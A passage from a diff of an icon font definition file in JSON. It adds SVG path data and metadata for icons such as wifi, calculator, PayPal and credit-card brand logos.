202.286-80.571 246.857-69.143 14.286 3.429 24.571 12.571 28 25.714 2.286 14.286 22.857 322.286 26.286 391.429zM822.857 480.571c1.143 14.286-4 26.286-14.857 33.714-6.857 4.571-13.714 6.857-188 49.143-28 6.286-43.429 10.286-52 13.143l0.571-1.143c-17.143 4.571-36.571-3.429-47.429-20.571s-10.286-36 0-49.714c0 0 0.571-0.571 42.857-58.286 93.714-128 98.286-134.286 105.143-138.857 10.857-7.429 24-7.429 37.143-1.143 37.143 17.714 112 129.143 116.571 172v1.714z" + ], + "width": 875.4468571428571, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "yelp" + ], + "defaultCode": 61929, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "yelp", + "id": 445, + "order": 1301, + "prevSize": 28, + "code": 61929 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 445 + }, + { + "icon": { + "paths": [ + "M585.143 292.571h-219.429v219.429h219.429v-219.429zM658.286 658.286v73.143h-365.714v-73.143h365.714zM658.286 219.429v365.714h-365.714v-365.714h365.714zM1024 658.286v73.143h-292.571v-73.143h292.571zM1024 512v73.143h-292.571v-73.143h292.571zM1024 365.714v73.143h-292.571v-73.143h292.571zM1024 219.429v73.143h-292.571v-73.143h292.571zM146.286 768v-548.571h-73.143v548.571c0 20 16.571 36.571 36.571 36.571s36.571-16.571 36.571-36.571zM1097.143 768v-621.714h-877.714v621.714c0 12.571-2.286 25.143-6.286 36.571h847.429c20 0 36.571-16.571 36.571-36.571zM1170.286 73.143v694.857c0 60.571-49.143 109.714-109.714 109.714h-950.857c-60.571 0-109.714-49.143-109.714-109.714v-621.714h146.286v-73.143h1024z" + ], + "width": 1170.2857142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "newspaper-o" + ], + "defaultCode": 61930, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "newspaper-o", + "id": 446, + "order": 1302, + "prevSize": 28, + "code": 61930 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 446 + }, + { + "icon": { + "paths": [ + "M585.143 870.286c-14.857 0-94.857-80-94.857-95.429 0-28 73.143-43.429 94.857-43.429s94.857 15.429 94.857 43.429c0 15.429-80 95.429-94.857 95.429zM739.429 715.429c-8 0-70.286-57.143-154.286-57.143-84.571 0-145.714 57.143-154.286 57.143-13.714 0-96.571-82.286-96.571-96 0-5.143 2.286-9.714 5.714-13.143 61.143-60.571 160.571-94.286 245.143-94.286s184 33.714 245.143 94.286c3.429 3.429 5.714 8 5.714 13.143 0 13.714-82.857 96-96.571 96zM895.429 560c-4.571 0-9.714-2.286-13.143-4.571-94.286-73.143-173.714-116.571-297.143-116.571-172.571 0-304 121.143-310.286 121.143-13.143 0-95.429-82.286-95.429-96 0-4.571 2.286-9.143 5.714-12.571 102.286-102.286 256.571-158.857 400-158.857s297.714 56.571 400 158.857c3.429 3.429 5.714 8 5.714 12.571 0 13.714-82.286 96-95.429 96zM1050.286 405.143c-4.571 0-9.143-2.286-12.571-5.143-132-116-274.286-180.571-452.571-180.571s-320.571 64.571-452.571 180.571c-3.429 2.857-8 5.143-12.571 5.143-13.143 0-96-82.286-96-96 0-5.143 2.286-9.714 5.714-13.143 144.571-143.429 353.143-222.857 555.429-222.857s410.857 79.429 555.429 222.857c3.429 3.429 5.714 8 5.714 13.143 0 13.714-82.857 96-96 96z" + ], + "width": 1170.2857142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "wifi" + ], + "defaultCode": 61931, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "wifi", + "id": 447, + "order": 1303, + "prevSize": 28, + "code": 61931 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 447 + }, + { + "icon": { + "paths": [ + "M219.429 877.714c0-40.571-32.571-73.143-73.143-73.143s-73.143 32.571-73.143 73.143 32.571 73.143 73.143 73.143 73.143-32.571 73.143-73.143zM438.857 877.714c0-40.571-32.571-73.143-73.143-73.143s-73.143 32.571-73.143 73.143 32.571 73.143 73.143 73.143 73.143-32.571 73.143-73.143zM219.429 658.286c0-40.571-32.571-73.143-73.143-73.143s-73.143 32.571-73.143 73.143 32.571 73.143 73.143 73.143 73.143-32.571 73.143-73.143zM658.286 877.714c0-40.571-32.571-73.143-73.143-73.143s-73.143 32.571-73.143 73.143 32.571 73.143 73.143 73.143 73.143-32.571 73.143-73.143zM438.857 658.286c0-40.571-32.571-73.143-73.143-73.143s-73.143 32.571-73.143 73.143 32.571 73.143 73.143 73.143 73.143-32.571 73.143-73.143zM219.429 438.857c0-40.571-32.571-73.143-73.143-73.143s-73.143 32.571-73.143 73.143 32.571 73.143 73.143 73.143 73.143-32.571 73.143-73.143zM658.286 658.286c0-40.571-32.571-73.143-73.143-73.143s-73.143 32.571-73.143 73.143 32.571 73.143 73.143 73.143 73.143-32.571 73.143-73.143zM438.857 438.857c0-40.571-32.571-73.143-73.143-73.143s-73.143 32.571-73.143 73.143 32.571 73.143 73.143 73.143 73.143-32.571 73.143-73.143zM877.714 877.714v-219.429c0-40-33.143-73.143-73.143-73.143v0c-40 0-73.143 33.143-73.143 73.143v219.429c0 40 33.143 73.143 73.143 73.143v0c40 0 73.143-33.143 73.143-73.143zM658.286 438.857c0-40.571-32.571-73.143-73.143-73.143s-73.143 32.571-73.143 73.143 32.571 73.143 73.143 73.143 73.143-32.571 73.143-73.143zM877.714 256v-146.286c0-20-16.571-36.571-36.571-36.571h-731.429c-20 0-36.571 16.571-36.571 36.571v146.286c0 20 16.571 36.571 36.571 36.571h731.429c20 0 36.571-16.571 36.571-36.571zM877.714 438.857c0-40.571-32.571-73.143-73.143-73.143s-73.143 32.571-73.143 73.143 32.571 73.143 73.143 73.143 73.143-32.571 73.143-73.143zM950.857 73.143v877.714c0 40-33.143 73.143-73.143 73.143h-804.571c-40 0-73.143-33.143-73.143-73.143v-877.714c0-40 33.143-73.143 73.143-73.143h804.571c40 0 73.143 33.143 73.143 73.143z" + ], + "width": 950.8571428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "calculator" + ], + "defaultCode": 61932, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "calculator", + "id": 448, + "order": 1304, + "prevSize": 28, + "code": 61932 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 448 + }, + { + "icon": { + "paths": [ + "M868 369.143v0c7.429 34.286 5.714 73.714-2.286 116.571-37.143 188.571-162.286 253.714-322.857 253.714h-25.143c-19.429 0-35.429 14.286-38.857 33.714l-2.286 10.857-31.429 197.714-1.143 8.571c-4 19.429-20 33.714-39.429 33.714h-143.429c-16 0-26.286-13.143-24-29.143 10.286-64 20-128 30.286-192s20.571-127.429 30.857-191.429c1.714-13.714 10.857-21.143 24.571-21.143 22.857 0 45.714-0.571 74.857 0 41.143 0.571 88.571-1.714 134.857-12 61.714-13.714 117.714-38.857 164-82.286 41.714-38.857 69.714-86.857 88.571-140.571 8.571-25.143 15.429-50.286 20-76 1.143-6.857 2.857-5.714 6.857-2.857 31.429 23.429 49.143 54.857 56 92.571zM769.714 208c0 46.857-10.857 91.429-26.286 134.857-29.714 86.286-85.714 148-172.571 180-46.286 16.571-94.857 23.429-144 24-34.286 0.571-68.571 0-102.857 0-37.143 0-60.571 18.286-67.429 54.857-8 43.429-39.429 245.714-48.571 302.857-0.571 4-2.286 5.714-6.857 5.714h-168.571c-17.143 0-29.714-14.857-27.429-31.429l132.571-840.571c3.429-21.714 22.857-38.286 45.143-38.286h341.714c24.571 0 81.143 10.857 119.429 25.714 81.143 31.429 125.714 95.429 125.714 182.286z" + ], + "width": 878.2994285714285, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "paypal" + ], + "defaultCode": 61933, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "paypal", + "id": 449, + "order": 1305, + "prevSize": 28, + "code": 61933 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 449 + }, + { + "icon": { + "paths": [ + "M252 384c11.429 0 22.857 5.714 29.714 14.857 100 136.571 169.714 282.857 206.857 442.286h-254.857c-45.714-158.857-113.143-304-209.714-428-9.143-12 0-29.143 14.857-29.143h213.143zM571.429 588c-18.857 77.143-42.857 152-71.429 224.571-30.286-119.429-78.857-231.429-146.286-339.429 14.857-82.857 23.429-168 25.143-256.571 80.571 129.714 144.571 253.143 192.571 371.429zM628 182.857c170.857 235.429 297.714 525.714 325.143 841.143h-257.714c-18.857-305.143-159.429-594.286-316-841.143h248.571zM1024 512c0 158.857-21.714 325.714-57.714 464-25.143-211.429-94.857-421.714-205.143-618.857-9.714-115.429-30.286-227.429-60.571-333.714-2.857-12 5.714-23.429 17.714-23.429h205.143c16 0 30.857 10.857 34.857 26.286 43.429 154.286 65.714 317.714 65.714 485.714z" + ], + "width": 1038.848, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "google-wallet" + ], + "defaultCode": 61934, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "google-wallet", + "id": 450, + "order": 1306, + "prevSize": 28, + "code": 61934 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 450 + }, + { + "icon": { + "paths": [ + "M1128.571 565.714h-78.857c0 0 8-21.143 37.714-102.286-0.571 0.571 8-21.143 12.571-34.857l6.857 31.429c17.714 87.429 21.714 105.714 21.714 105.714zM303.429 528.571l-33.143-168.571c-4.571-23.429-22.286-30.857-42.857-30.857h-153.143l-1.143 7.429c105.143 26.857 191.429 84 230.286 192zM405.714 329.143l-92.571 250.286-9.714-50.857c-20-53.143-68.571-102.286-123.429-124.571l77.143 291.429h100l149.143-366.286h-100.571zM485.143 696h94.857l59.429-366.857h-94.857zM924 338.286c-18.857-7.429-48.571-15.429-85.143-15.429-93.714 0-159.429 49.714-160 121.143-0.571 52.571 46.857 81.714 82.857 99.429 37.143 17.714 49.143 29.714 49.143 45.714 0 24.571-29.714 35.429-56.571 35.429-38.286 0-58.857-4.571-89.143-18.857l-12.571-6.286-13.143 82.286c22.286 10.286 62.857 19.429 105.714 19.429 99.429 0.571 164-49.143 165.143-125.143 0-41.714-25.714-73.143-80-99.429-33.143-16.571-53.143-28.571-53.143-45.714 0-15.429 17.143-31.429 54.286-31.429 30.857-0.571 53.714 5.714 70.857 13.714l8.571 4.571zM1166.857 329.143h-73.143c-22.857 0-40 6.857-49.714 30.857l-140.571 336h99.429c16-45.143 20-54.857 20-54.857h121.143c0 0 2.857 12.571 11.429 54.857h88zM1316.571 146.286v731.429c0 40-33.143 73.143-73.143 73.143h-1170.286c-40 0-73.143-33.143-73.143-73.143v-731.429c0-40 33.143-73.143 73.143-73.143h1170.286c40 0 73.143 33.143 73.143 73.143z" + ], + "width": 1316.5714285714284, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "cc-visa" + ], + "defaultCode": 61936, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "cc-visa", + "id": 451, + "order": 1307, + "prevSize": 28, + "code": 61936 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 451 + }, + { + "icon": { + "paths": [ + "M639.429 194.857c-47.429-31.429-103.429-48.571-160.571-48.571-160.571 0-290.857 130.286-290.857 290.286 0 160.571 130.286 290.857 290.857 290.857 57.143 0 113.143-17.143 160.571-48.571-153.143-124.571-152-359.429 0-484zM658.286 208.571c-147.429 116-148 341.143 0 456.571 148-115.429 147.429-340.571 0-456.571zM677.143 194.857c151.429 124.571 153.714 360 0 484 47.429 31.429 104 48.571 160.571 48.571 160.571 0 290.857-130.286 290.857-290.857 0-160-130.286-290.286-290.857-290.286-57.143 0-113.143 17.143-160.571 48.571zM1100.571 607.429h4v-1.714h-9.714v1.714h4v9.714h1.714v-9.714zM1117.143 617.143h2.286v-11.429h-2.857l-3.429 7.429-3.429-7.429h-2.857v11.429h1.714v-8.571l3.429 7.429h2.286l2.857-7.429v8.571zM1112.571 868.571v1.143h-2.857v-1.714h2.857v0.571zM1112.571 873.714h1.714l-2.286-2.857c1.143 0 1.143-0.571 1.714-0.571 0.571-0.571 0.571-1.143 0.571-1.714s0-1.143-0.571-1.714c-0.571 0-1.143-0.571-2.286-0.571h-3.429v7.429h1.714v-2.857h0.571zM391.429 834.857c0-13.714 8.571-24.571 23.429-24.571 13.714 0 22.857 10.857 22.857 24.571 0 14.286-9.143 24.571-22.857 24.571-14.857 0-23.429-10.857-23.429-24.571zM661.714 809.714c10.857 0 18.286 6.286 20 18.286h-40c1.714-10.857 8.571-18.286 20-18.286zM865.143 834.857c0-13.714 8.571-24.571 22.857-24.571s23.429 10.857 23.429 24.571c0 14.286-9.143 24.571-23.429 24.571s-22.857-10.857-22.857-24.571zM1020.571 834.857c0-13.714 9.143-24.571 23.429-24.571 13.714 0 23.429 10.857 23.429 24.571 0 14.286-9.714 24.571-23.429 24.571-14.286 0-23.429-10.857-23.429-24.571zM1110.857 876c-0.571 0-1.143 0-2.286-0.571-0.571 0-1.143-0.571-1.714-1.143s-1.143-1.143-1.143-1.714-0.571-1.714-0.571-2.286 0-1.714 0.571-2.286c0-1.143 0.571-1.714 1.143-2.286s1.143-0.571 1.714-1.143 1.714-0.571 2.286-0.571 1.714 0 2.286 0.571 1.714 0.571 2.286 1.143 0.571 1.143 1.143 2.286c0 0.571 0.571 1.143 0.571 2.286 0 0.571-0.571 1.143-0.571 2.286-0.571 0.571-0.571 1.143-1.143 1.714s-1.143 1.143-2.286 1.143c-0.571 0.571-1.143 0.571-2.286 0.571zM342.286 873.714h17.143v-48.571c0-18.286-12-30.286-30.857-30.857-9.714 0-20 2.857-26.857 13.714-5.143-8.571-13.714-13.714-25.714-13.714-8 0-16 2.857-22.286 11.429v-9.143h-17.143v77.143h17.143v-42.857c0-13.714 7.429-20.571 18.857-20.571s17.143 7.429 17.143 20.571v42.857h16.571v-42.857c0-13.714 8-20.571 18.857-20.571 11.429 0 17.143 7.429 17.143 20.571v42.857zM437.143 873.714h16.571v-77.143h-16.571v9.143c-5.714-6.857-13.714-11.429-24.571-11.429-21.714 0-38.286 17.143-38.286 40.571s16.571 40.571 38.286 40.571c10.857 0 18.857-4 24.571-11.429v9.714zM538.857 850.286c0-13.714-10.286-20.571-26.857-22.857l-8-1.143c-7.429-1.143-13.143-2.857-13.143-8s5.143-8.571 14.286-8.571c10.286 0 19.429 3.429 24.571 6.286l6.857-13.714c-8-5.143-18.857-8-31.429-8-19.429 0-32 9.714-32 25.143 0 12.571 9.143 20 26.857 22.286l7.429 1.143c9.714 1.714 13.714 4 13.714 8 0 6.286-6.286 9.714-17.714 9.714s-20-4-25.714-8l-7.429 13.143c9.143 6.286 20.571 9.714 33.143 9.714 22.286 0 35.429-10.286 35.429-25.143zM613.143 869.714l-4.571-14.286c-5.143 2.857-10.286 4-14.857 4-8.571 0-10.857-5.143-10.857-12.571v-34.857h27.429v-15.429h-27.429v-23.429h-17.143v23.429h-16v15.429h16v34.857c0 17.714 6.857 28.571 26.857 28.571 6.857 0 15.429-2.286 20.571-5.714zM662.286 794.286c-22.286 0-38.286 16.571-38.286 40.571 0 24.571 16.571 40.571 39.429 40.571 11.429 0 22.286-2.857 31.429-10.857l-8-12.571c-6.286 5.143-14.857 8.571-22.286 8.571-10.857 0-20.571-5.143-23.429-18.857h57.714v-6.857c0-24-14.857-40.571-36.571-40.571zM753.143 794.286c-9.714 0-16 4.571-20 11.429v-9.143h-17.143v77.143h17.143v-43.429c0-12.571 5.143-20 16.571-20 3.429 0 6.857 0.571 10.286 2.286l5.143-16c-4-1.714-8.571-2.286-12-2.286zM770.286 834.857c0 23.429 16 40.571 41.143 40.571 11.429 0 19.429-2.286 27.429-9.143l-8-13.714c-6.286 4.571-12.571 7.429-20 6.857-13.714 0-23.429-9.714-23.429-24.571s9.714-24.571 23.429-24.571c7.429 0 13.714 2.286 20 6.857l8-13.714c-8-6.286-16-9.143-27.429-9.143-25.143 0-41.143 17.143-41.143 40.571zM910.286 873.714h17.143v-77.143h-17.143v9.143c-5.143-6.857-13.143-11.429-24-11.429-21.714 0-38.857 17.143-38.857 40.571s17.143 40.571 38.857 40.571c10.857 0 18.857-4 24-11.429v9.714zM986.286 794.286c-9.714 0-16 4.571-20 11.429v-9.143h-16.571v77.143h16.571v-43.429c0-12.571 5.714-20 16.571-20 3.429 0 6.857 0.571 10.286 2.286l5.143-16c-3.429-1.714-8.571-2.286-12-2.286zM1066.286 873.714h16.571v-108.571h-16.571v40.571c-5.143-6.857-13.143-11.429-24.571-11.429-21.143 0-38.286 17.143-38.286 40.571s17.143 40.571 38.286 40.571c11.429 0 19.429-4 24.571-11.429v9.714zM1110.857 862.286c-0.571 0-1.714 0.571-2.857 0.571-1.143 0.571-1.714 1.143-2.286 1.714-1.143 0.571-1.714 1.714-1.714 2.286-0.571 1.143-0.571 2.286-0.571 3.429 0 0.571 0 1.714 0.571 2.857 0 0.571 0.571 1.714 1.714 2.286 0.571 0.571 1.143 1.143 2.286 1.714s2.286 0.571 2.857 0.571c1.143 0 2.286 0 3.429-0.571 0.571-0.571 1.714-1.143 2.286-1.714s1.143-1.714 1.714-2.286c0.571-1.143 0.571-2.286 0.571-2.857 0-1.143 0-2.286-0.571-3.429-0.571-0.571-1.143-1.714-1.714-2.286s-1.714-1.143-2.286-1.714c-1.143 0-2.286-0.571-3.429-0.571zM1316.571 146.286v731.429c0 40-33.143 73.143-73.143 73.143h-1170.286c-40 0-73.143-33.143-73.143-73.143v-731.429c0-40 33.143-73.143 73.143-73.143h1170.286c40 0 73.143 33.143 73.143 73.143z" + ], + "width": 1316.5714285714284, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "cc-mastercard" + ], + "defaultCode": 61937, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "cc-mastercard", + "id": 452, + "order": 1308, + "prevSize": 28, + "code": 61937 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 452 + }, + { + "icon": { + "paths": [ + "M178.857 444c0 18.286-7.429 36-20.571 48-11.429 10.286-26.857 14.857-50.857 14.857h-9.714v-125.714h9.714c24 0 38.857 4 50.857 15.429 13.143 11.429 20.571 29.143 20.571 47.429zM1193.714 406.857c0 19.429-12.571 29.714-36.571 29.714h-10.857v-57.714h11.429c23.429 0 36 9.714 36 28zM217.143 444c0-56-41.714-95.429-102.286-95.429h-54.286v190.286h54.286c28.571 0 49.714-6.286 68-21.714 21.714-18.286 34.286-45.143 34.286-73.143zM234.286 538.857h37.143v-190.286h-37.143v190.286zM417.143 481.143c0-30.286-12.571-44-54.857-59.429-22.286-8-28.571-13.714-28.571-24 0-12 11.429-21.143 27.429-21.143 11.429 0 20.571 4.571 30.286 15.429l19.429-25.143c-16-14.286-35.429-21.143-56-21.143-33.714 0-59.429 23.429-59.429 54.286 0 26.286 12 40 46.857 52.571 14.286 5.143 21.714 8 25.714 10.857 7.429 4.571 10.857 11.429 10.857 19.429 0 15.429-12 26.857-28.571 26.857-17.714 0-32-8.571-40.571-25.143l-24 22.857c17.143 25.143 37.714 36.571 65.714 36.571 38.857 0 65.714-25.714 65.714-62.857zM576 532.571v-44c-14.857 14.857-28 21.143-44.571 21.143-37.714 0-64-27.429-64-65.714 0-36.571 27.429-65.714 62.286-65.714 17.714 0 30.857 6.286 46.286 21.714v-44c-16-8-29.714-11.429-45.714-11.429-56 0-101.143 44-101.143 99.429 0 56 44 99.429 100.571 99.429 16 0 29.714-2.857 46.286-10.857zM1280 877.714v-301.143c-91.429 57.143-413.143 240-933.143 337.714h896.571c20 0 36.571-16.571 36.571-36.571zM793.714 445.143c0-57.143-46.286-103.429-103.429-103.429s-103.429 46.286-103.429 103.429 46.286 103.429 103.429 103.429 103.429-46.286 103.429-103.429zM880.571 544l82.286-195.429h-40.571l-51.429 128-50.857-128h-40.571l81.143 195.429h20zM979.429 538.857h105.143v-32h-68v-51.429h65.714v-32h-65.714v-42.286h68v-32.571h-105.143v190.286zM1202.857 538.857h45.714l-60-80c28-5.714 43.429-24.571 43.429-53.714 0-36-24.571-56.571-67.429-56.571h-55.429v190.286h37.143v-76h5.143zM1316.571 149.714v724.571c0 42.286-33.714 76.571-75.429 76.571h-1165.714c-41.714 0-75.429-34.286-75.429-76.571v-724.571c0-42.286 33.714-76.571 75.429-76.571h1165.714c41.714 0 75.429 34.286 75.429 76.571z" + ], + "width": 1316.5714285714284, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "cc-discover" + ], + "defaultCode": 61938, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "cc-discover", + "id": 453, + "order": 1309, + "prevSize": 28, + "code": 61938 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 453 + }, + { + "icon": { + "paths": [ + "M68 389.714h50.857l-25.714-61.714zM422.857 690.286l42.286-45.143-40-45.143h-93.143v28h81.143v31.429h-81.143v30.857h90.857zM513.143 645.714l56.571 62.857v-124zM677.714 618.857c0-13.714-10.286-18.857-22.857-18.857h-48v39.429h47.429c13.143 0 23.429-6.286 23.429-20.571zM842.857 616.571c0-14.286-12.571-16.571-24-16.571h-46.857v34.857h46.286c12.571 0 24.571-2.857 24.571-18.286zM684 350.286c0-14.286-12.571-16.571-24-16.571h-46.857v34.286h46.286c12.571 0 24.571-2.857 24.571-17.714zM946.286 389.714h50.857l-25.143-61.714zM399.429 301.143v154.857h-37.714v-121.143l-53.714 121.143h-32.571l-53.714-121.143v121.143h-75.429l-14.286-34.286h-77.143l-14.286 34.286h-40l66.286-154.857h54.857l62.857 146.857v-146.857h60.571l48.571 105.143 44-105.143h61.714zM717.143 618.857c0 62.286-68 52-110.286 52v52h-72l-45.714-51.429-47.429 51.429h-146.286v-154.857h148.571l45.714 50.857 46.857-50.857h118.286c34.857 0 62.286 12 62.286 50.857zM550.857 424v32h-124v-154.857h124v32.571h-86.857v28h84.571v31.429h-84.571v30.857h86.857zM1316.571 743.429v130.857c0 41.714-33.714 76.571-75.429 76.571h-1165.714c-41.714 0-75.429-34.857-75.429-76.571v-387.429h63.429l14.286-34.857h31.429l14.286 34.857h124.571v-26.286l10.857 26.286h64.571l11.429-26.857v26.857h309.143v-56.571l5.714-0.571c5.143 0 5.714 4 5.714 8v49.143h159.429v-13.143c37.143 19.429 88 13.143 126.857 13.143l14.286-34.857h32l14.286 34.857h129.714v-33.143l19.429 33.143h104v-216h-102.857v25.143l-14.286-25.143h-105.714v25.143l-13.143-25.143h-142.286c-21.143 0-43.429 2.286-62.286 12.571v-12.571h-98.286v12.571c-11.429-10.286-26.857-12.571-41.714-12.571h-358.857l-24.571 55.429-24.571-55.429h-113.143v25.143l-12.571-25.143h-96.571l-44.571 102.286v-223.429c0-41.714 33.714-76.571 75.429-76.571h1165.714c41.714 0 75.429 34.857 75.429 76.571v387.429h-68.571c-16 0-33.143 2.857-46.286 12.571v-12.571h-101.143c-14.286 0-33.714 2.286-44.571 12.571v-12.571h-180.571v12.571c-13.714-9.714-33.714-12.571-49.714-12.571h-119.429v12.571c-12-11.429-36.571-12.571-52-12.571h-133.714l-30.857 33.143-28.571-33.143h-199.429v216h196l31.429-33.714 29.714 33.714h120.571v-50.857h12c17.143 0 34.857-0.571 51.429-7.429v58.286h99.429v-56.571h4.571c5.714 0 6.857 0.571 6.857 6.857v49.714h302.286c16.571 0 37.143-3.429 50.286-13.714v13.714h96c18.286 0 37.714-1.714 54.286-9.714zM883.429 609.714c0 17.143-9.143 34.286-26.286 41.143 20.571 7.429 24.571 21.143 24.571 41.143v30.857h-37.143v-25.714c0-26.286-8.571-30.857-33.143-30.857h-39.429v56.571h-37.143v-154.857h88c29.143 0 60.571 5.143 60.571 41.714zM725.143 342.857c0 17.714-9.714 34.857-26.286 41.714 21.143 7.429 24.571 20.571 24.571 41.143v30.286h-37.143c-0.571-33.143 8-56-33.143-56h-40v56h-36.571v-154.857l87.429 0.571c29.714 0 61.143 4.571 61.143 41.143zM1027.429 690.857v32h-123.429v-154.857h123.429v32h-86.286v28h84.571v31.429h-84.571v30.857zM784 301.143v154.857h-37.714v-154.857h37.714zM1180 673.714c0 36.571-25.143 49.143-58.286 49.143h-72v-33.143h72c9.143 0 19.429-2.286 19.429-14.286 0-33.143-95.429 12.571-95.429-61.143 0-31.429 24-46.286 52.571-46.286h74.286v32.571h-68c-9.714 0-20.571 1.714-20.571 14.286 0 33.714 96-15.429 96 58.857zM1316.571 645.143v57.714c-10.857 16-32 20-50.286 20h-71.429v-33.143h71.429c9.143 0 18.857-2.857 18.857-14.286 0-32.571-95.429 12.571-95.429-61.143 0-31.429 24.571-46.286 53.143-46.286h73.714v32.571h-67.429c-10.286 0-20.571 1.714-20.571 14.286 0 27.429 64.571-0.571 88 30.286zM1222.286 301.714v154.286h-52.571l-69.714-116v116h-75.429l-14.857-34.286h-76.571l-14.286 34.286h-42.857c-50.857 0-73.714-26.286-73.714-76 0-52 23.429-78.857 76-78.857h36v33.714c-38.857-0.571-74.286-9.143-74.286 44 0 26.286 6.286 44.571 36 44.571h16.571l52.571-121.714h55.429l62.286 146.286v-146.286h56.571l65.143 107.429v-107.429h37.714z" + ], + "width": 1316.5714285714284, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "cc-amex" + ], + "defaultCode": 61939, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "cc-amex", + "id": 454, + "order": 1310, + "prevSize": 28, + "code": 61939 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 454 + }, + { + "icon": { + "paths": [ + "M425.714 517.714c0 28-22.286 49.143-50.286 49.143-21.143 0-36.571-12-36.571-34.286 0-28 21.714-50.286 49.714-50.286 21.143 0 37.143 13.143 37.143 35.429zM874.286 432.571c0 34.286-20.571 41.143-50.286 41.143l-18.286 0.571 9.714-61.143c0.571-4 3.429-6.286 7.429-6.286h10.286c19.429 0 41.143 1.143 41.143 25.714zM1074.857 517.714c0 28-22.286 49.143-49.714 49.143-21.143 0-37.143-12-37.143-34.286 0-28 21.714-50.286 49.714-50.286 21.143 0 37.143 13.143 37.143 35.429zM293.143 420c0-48-37.143-64-79.429-64h-91.429c-5.714 0-11.429 4.571-12 10.857l-37.143 233.143c-0.571 4.571 2.857 9.143 7.429 9.143h43.429c6.286 0 12-4.571 12.571-10.857l10.286-62.857c2.286-16.571 30.286-10.857 41.143-10.857 65.143 0 105.143-38.857 105.143-104.571zM469.714 598.286l23.429-149.143c0.571-4.571-2.857-9.143-7.429-9.143h-43.429c-8.571 0-9.143 12.571-9.714 18.857-13.143-19.429-32.571-22.857-54.286-22.857-56 0-98.857 49.143-98.857 103.429 0 44.571 28 73.714 72.571 73.714 20.571 0 46.286-9.143 60.571-25.143-1.143 3.429-2.286 8.571-2.286 12 0 5.143 2.286 9.143 7.429 9.143h39.429c6.286 0 11.429-4.571 12.571-10.857zM725.143 448c0-4-3.429-8-7.429-8h-44c-4 0-8 2.286-10.286 5.714l-60.571 89.143-25.143-85.714c-1.714-5.143-6.857-9.143-12.571-9.143h-42.857c-4 0-7.429 4-7.429 8 0 2.857 44.571 132 48.571 144-6.286 8.571-46.857 61.714-46.857 68.571 0 4 3.429 7.429 7.429 7.429h44c4 0 8-2.286 10.286-5.714l145.714-210.286c1.143-1.143 1.143-2.286 1.143-4zM942.286 420c0-48-37.143-64-79.429-64h-90.857c-6.286 0-12 4.571-12.571 10.857l-37.143 233.143c-0.571 4.571 2.857 9.143 7.429 9.143h46.857c4.571 0 8-3.429 9.143-7.429l10.286-66.286c2.286-16.571 30.286-10.857 41.143-10.857 65.143 0 105.143-38.857 105.143-104.571zM1118.857 598.286l23.429-149.143c0.571-4.571-2.857-9.143-7.429-9.143h-43.429c-8.571 0-9.143 12.571-9.714 18.857-12.571-19.429-32-22.857-54.286-22.857-56 0-98.857 49.143-98.857 103.429 0 44.571 28 73.714 72.571 73.714 21.143 0 46.857-9.143 60.571-25.143-0.571 3.429-2.286 8.571-2.286 12 0 5.143 2.286 9.143 7.429 9.143h39.429c6.286 0 11.429-4.571 12.571-10.857zM1243.429 364.571v-0.571c0-4.571-3.429-8-7.429-8h-42.286c-3.429 0-6.857 2.857-7.429 6.286l-37.143 237.714-0.571 1.143c0 4 3.429 8 8 8h37.714c5.714 0 11.429-4.571 12-10.857zM224 441.143c-4.571 29.143-24 32.571-49.143 32.571l-18.857 0.571 9.714-61.143c0.571-4 4-6.286 7.429-6.286h10.857c25.714 0 45.143 3.429 40 34.286zM1316.571 146.286v731.429c0 40-33.143 73.143-73.143 73.143h-1170.286c-40 0-73.143-33.143-73.143-73.143v-731.429c0-40 33.143-73.143 73.143-73.143h1170.286c40 0 73.143 33.143 73.143 73.143z" + ], + "width": 1316.5714285714284, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "cc-paypal" + ], + "defaultCode": 61940, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "cc-paypal", + "id": 455, + "order": 1311, + "prevSize": 28, + "code": 61940 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 455 + }, + { + "icon": { + "paths": [ + "M912.571 516c0 26.286-4 46.286-12 60.571-6.857 12.571-17.714 20-29.714 20-8.571 0-16.571-1.714-23.429-5.143v-128c14.857-15.429 28-17.143 32.571-17.143 21.714 0 32.571 24 32.571 69.714zM1162.857 495.429h-62.857c2.286-38.286 12.571-56 32-56s29.714 18.286 30.857 56zM272 572.571c0-48-29.143-68-76.571-85.143v0c-25.143-9.143-38.857-16.571-38.857-28 0-9.714 8-14.857 21.714-14.857 26.286 0 52.571 9.714 70.857 18.857l10.286-64c-14.286-6.857-44-18.286-85.143-18.286-29.143 0-53.143 7.429-70.286 21.714-18.286 14.857-27.429 36.571-27.429 62.286 0 46.857 28.571 67.429 75.429 